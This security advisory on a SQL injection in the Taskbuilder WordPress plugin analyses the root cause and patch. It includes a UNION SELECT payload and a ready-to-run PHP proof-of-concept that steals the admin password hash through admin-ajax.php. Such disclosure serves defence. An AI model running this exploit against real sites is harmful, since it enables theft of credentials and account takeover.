Atomic Edge analysis of CVE-2026-12090: This is an authenticated SQL injection vulnerability in the Taskbuilder WordPress plugin (versions up to 5.0.8). The flaw exists in the wp_ajax_wppm_view_project_tasks AJAX handler, which processes the ‘wppm_proj_filter’ parameter without proper sanitization. Authenticated attackers with subscriber-level access can exploit this to extract sensitive database information. The CVSS score is 6.5 (Medium).
Root Cause: The vulnerability originates in /taskbuilder/includes/admin/projects/open_project/wppm_view_project_tasks.php at line 21. The plugin uses sanitize_text_field() on the ‘wppm_proj_filter’ parameter from $_POST, which removes HTML tags but does not prevent SQL injection. The unsanitized value $proj_filter is then directly embedded into SQL queries without parameterization. Additionally, there is no nonce or capability check on the wp_ajax_wppm_view_project_tasks handler, so any authenticated user — including subscribers — can reach the code. The diff shows the fix changes sanitize_text_field() to absint(), which converts the value to an integer, completely eliminating the injection vector.
Exploitation: An attacker sends a POST request to /wp-admin/admin-ajax.php with action=wppm_view_project_tasks and wppm_proj_filter set to a SQL injection payload. For example: wppm_proj_filter=1 UNION SELECT user_pass FROM wp_users WHERE user_login=’admin’ — . The absence of nonce verification means the attacker only needs a valid WordPress cookie or nonce for any authenticated session.
Patch Analysis: The patch in wppm_view_project_tasks.php (line 21) changes the sanitization of $proj_filter from sanitize_text_field() to absint(). This ensures the value is always a positive integer if valid, or 0 otherwise. SQL injection is impossible because integer values cannot break the query structure. Additional hardening appears in other files where esc_sql() is replaced with absint() for status and project IDs, and a LIKE-based search JOIN is removed.
Impact: Successful exploitation allows an attacker to execute arbitrary SQL queries against the WordPress database. This can lead to exfiltration of sensitive data such as usernames, password hashes, user emails, and any other stored information. Depending on database permissions, it may also enable account takeovers, privilege escalation, or data modification.
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-12090 - Taskbuilder <= 5.0.8 - Authenticated (Subscriber+) SQL Injection via 'wppm_proj_filter' Parameter
/**
* Proof of Concept for CVE-2026-12090
* Exploits SQL injection via wppm_proj_filter parameter in Taskbuilder plugin.
* Requires a valid WordPress cookie for an authenticated user (subscriber or above).
*/
// Configuration
$target_url = 'http://example.com'; // Change to target WordPress site
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';
$cookie = 'wordpress_logged_in_xxx=xxx; wordpress_sec_xxx=xxx; ...'; // Replace with valid auth cookie
// SQL injection payload to extract admin password hash
$payload = "1 UNION SELECT user_pass FROM wp_users WHERE user_login='admin' -- ";
$body = [
'action' => 'wppm_view_project_tasks',
'wppm_proj_filter' => $payload,
'task_search' => '',
'wppm_task_filter' => 'all',
'public_projects' => '0',
'start' => '0',
'step' => '10'
];
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($body));
curl_setopt($ch, CURLOPT_COOKIE, $cookie);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
$response = curl_exec($ch);
if (curl_errno($ch)) {
echo 'cURL error: ' . curl_error($ch) . "n";
} else {
echo 'Response:n' . $response . "n";
// The response may contain the results of the injected query in the HTML/JSON output
}
curl_close($ch);
?>
